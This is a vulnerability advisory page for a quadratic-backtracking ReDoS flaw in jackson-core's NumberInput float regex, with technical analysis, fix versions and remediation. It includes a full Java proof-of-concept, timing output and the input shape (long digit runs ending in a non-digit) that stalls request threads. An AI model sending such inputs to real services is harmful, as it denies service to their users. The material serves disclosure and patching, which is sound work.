CVE-2026-89407 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in com.fasterxml.jackson.core:jackson-core. A fix is available for com.fasterxml.jackson.core:jackson-core — see the affected versions and patch details below.
jackson-core: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber() enables ReDoS
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-89407.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-89407 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
com.fasterxml.jackson.core:jackson-core☕com.fasterxml.jackson.core:jackson-core☕com.fasterxml.jackson.core:jackson-core☕tools.jackson.core:jackson-core☕tools.jackson.core:jackson-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Status
FULLY REPRODUCED with a clean, textbook empirical signature: measured runtime grew almost
exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000
characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical
HTTP request body) took 74.4 seconds for one call to NumberInput.looksLikeValidNumber().
Affected Component / Version
- Package:
com.fasterxml.jackson.core:jackson-core - Confirmed against:
jackson-core-2.20.2 - Affected file:
src/main/java/com/fasterxml/jackson/core/io/NumberInput.java(PATTERN_FLOATline ~41-42,PATTERN_FLOAT_TRAILING_DOTline ~51, entry pointlooksLikeValidNumber()lines ~646-656)
Technical Analysis
private final static Pattern PATTERN_FLOAT = Pattern.compile(
"[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?");
private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(
"[+-]?[0-9]+[\\.]");
public static boolean looksLikeValidNumber(final String s) {
// ... short-circuits only for null/empty/length==1 ...
return PATTERN_FLOAT.matcher(s).matches()
|| PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();
}
PATTERN_FLOAT contains ambiguous, adjacent quantifiers over the identical character class:
[0-9]* (optional digits), an optional [.], then [0-9]+ (required digits). Java's
backtracking Pattern/Matcher engine has no possessive quantifiers or atomic grouping here,
so on a non-matching input the engine must explore every possible split point between the
[0-9]* and [0-9]+ groups before concluding failure — the classic quadratic-backtracking
shape. looksLikeValidNumber() compounds the cost by running a second full-string regex
(PATTERN_FLOAT_TRAILING_DOT) whenever the first fails, roughly doubling the constant factor
without changing the asymptotic class.
Critically, the length gate that applies to this specific path is
StreamReadConstraints.maxStringLength (default 20,000,000), not maxNumberLength
(default 1,000) — the length ceiling the library uses everywhere else for numeric content.
This means inputs up to four orders of magnitude larger than the library's own numeric-length
policy reach this quadratic regex unmodified.
Reproduction Procedure
Same clone/build steps as jackson-core_1_...md. Then:
CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java
java -cp "poc:$CP" PoC8_NumberInputReDoS
Full PoC Source (poc/PoC8_NumberInputReDoS.java)
import com.fasterxml.jackson.core.io.NumberInput;
public class PoC8_NumberInputReDoS {
public static void main(String[] args) {
int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};
long[] timesMs = new long[sizes.length];
System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n");
for (int i = 0; i < sizes.length; i++) {
int n = sizes[i];
String s = repeat('1', n) + "x";
if (i == 0) {
NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up
}
long t0 = System.nanoTime();
boolean result = NumberInput.looksLikeValidNumber(s);
long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
timesMs[i] = elapsedMs;
System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs);
}
System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):");
boolean quadraticSignatureObserved = false;
for (int i = 1; i < sizes.length; i++) {
double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];
System.out.printf(" n=%d -> n=%d : %dms -> %dms (ratio=%.2fx)%n",
sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);
if (ratio >= 3.0) quadraticSignatureObserved = true;
}
System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1]
+ " ms for a single call from ONE HTTP-body-sized string.");
System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) "
+ "governs this path, not maxNumberLength (1,000).");
if (quadraticSignatureObserved) {
System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent "
+ "with quadratic backtracking in PATTERN_FLOAT on non-matching input.");
}
}
static String repeat(char c, int n) {
char[] arr = new char[n];
java.util.Arrays.fill(arr, c);
return new String(arr);
}
}
Captured Evidence (actual run output)
Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:
n=5000 looksLikeValidNumber=false elapsed= 74 ms
n=10000 looksLikeValidNumber=false elapsed= 306 ms
n=20000 looksLikeValidNumber=false elapsed= 1157 ms
n=40000 looksLikeValidNumber=false elapsed= 4655 ms
n=80000 looksLikeValidNumber=false elapsed= 18592 ms
n=160000 looksLikeValidNumber=false elapsed= 74393 ms
Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):
n=5000 -> n=10000 : 74ms -> 306ms (ratio=4.14x)
n=10000 -> n=20000 : 306ms -> 1157ms (ratio=3.78x)
n=20000 -> n=40000 : 1157ms -> 4655ms (ratio=4.02x)
n=40000 -> n=80000 : 4655ms -> 18592ms (ratio=3.99x)
n=80000 -> n=160000 : 18592ms -> 74393ms (ratio=4.00x)
Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.
=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic
backtracking in PATTERN_FLOAT on non-matching input.
This is an unusually clean empirical result: five consecutive doublings each produced a ratio between 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within 5% at every single measurement, leaving essentially no ambiguity about the complexity class. Extrapolating this measured curve, a ~1MB string (well within common request body limits) would take on the order of hours for a single call.
Impact
Any application that coerces a String-typed JSON field to a number (default jackson-databind
behavior) is exposed: an attacker who can submit a large numeric-looking string (up to
maxStringLength's default of 20,000,000 characters — far larger than needed given the
measured curve) can pin a request-handling thread for an extended period with a single request.
Because the cost scales quadratically, a handful of concurrent moderately-sized requests
(tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread
pool, denying service to all users.
Remediation
- Rewrite
PATTERN_FLOATwithout quantifier ambiguity using possessive quantifiers, e.g.[+-]?(?:[0-9]++(?:\.[0-9]*+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?, which also folds in the trailing-dot case and removes the need for a second full-string scan. - Better: replace the regex entirely with a single-pass hand-written character scan — the same
file already contains exactly this pattern for
parseInt, so the library has both the precedent and the code style available. - Apply an independent length limit (
maxNumberLength, not the much largermaxStringLength) before callinglooksLikeValidNumber(), closing the four-orders-of- magnitude gap between the two constraints for this specific code path. - Operationally, until fixed: tighten
StreamReadConstraints.maxStringLengthwell below its default, and set wall-clock timeouts on parse/coercion operations.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | com.fasterxml.jackson.core:jackson-core | ≥ 2.17.0&&< 2.18.11 | 2.18.11com.fasterxml.jackson.core:jackson-core:2.18.11 |
| ☕Maven | com.fasterxml.jackson.core:jackson-core | ≥ 2.19.0&&< 2.21.7 | 2.21.7com.fasterxml.jackson.core:jackson-core:2.21.7 |
| ☕Maven | com.fasterxml.jackson.core:jackson-core | ≥ 2.22.0&&< 2.22.3 | 2.22.3com.fasterxml.jackson.core:jackson-core:2.22.3 |
| ☕Maven | tools.jackson.core:jackson-core | ≥ 3.0.0&&< 3.1.7 | 3.1.7tools.jackson.core:jackson-core:3.1.7 |
| ☕Maven | tools.jackson.core:jackson-core | ≥ 3.2.0&&< 3.2.2 | 3.2.2tools.jackson.core:jackson-core:3.2.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for com.fasterxml.jackson.core:jackson-core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update com.fasterxml.jackson.core:jackson-core to 2.18.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-89407 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated as Moderate impact because while remote actors can induce CPU starvation to trigger a denial of service, the issue affects availability only without granting unauthorized access or data tampering capabilities. In Red Hat environments, exposure depends on services deserializing untrusted…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat build of Quarkus 3.27.6.redhat | com.fasterxml.jackson.core/jackson-core:2.21.7.redhat-00001 | RHSA-2026:83082 |
| Red Hat build of Quarkus 3.33.4.redhat | com.fasterxml.jackson.core/jackson-core:2.21.7.redhat-00001 | RHSA-2026:83520 |
| Red Hat Enterprise Linux 9 | jackson-core-0:2.21.6-1.el9_8.2 | RHSA-2026:86706 |
| OpenShift Developer Tools and Services 4.12 | ocp-tools-4/jenkins-rhel8:1792044326 | RHSA-2026:88152 |
| OpenShift Developer Tools and Services 4.13 | ocp-tools-4/jenkins-rhel8:1792044327 | RHSA-2026:88149 |
| OpenShift Developer Tools and Services 4.14 | ocp-tools-4/jenkins-rhel8:1792044382 | RHSA-2026:88151 |
| OpenShift Developer Tools and Services 4.15 | ocp-tools-4/jenkins-rhel8:1792044386 | RHSA-2026:88150 |
| OpenShift Developer Tools and Services 4.16 | ocp-tools-4/jenkins-rhel9:1792040287 | RHSA-2026:88156 |
Frequently Asked Questions
Is CVE-2026-89407 in your dependencies?
Find it across Maven, including transitive dependencies.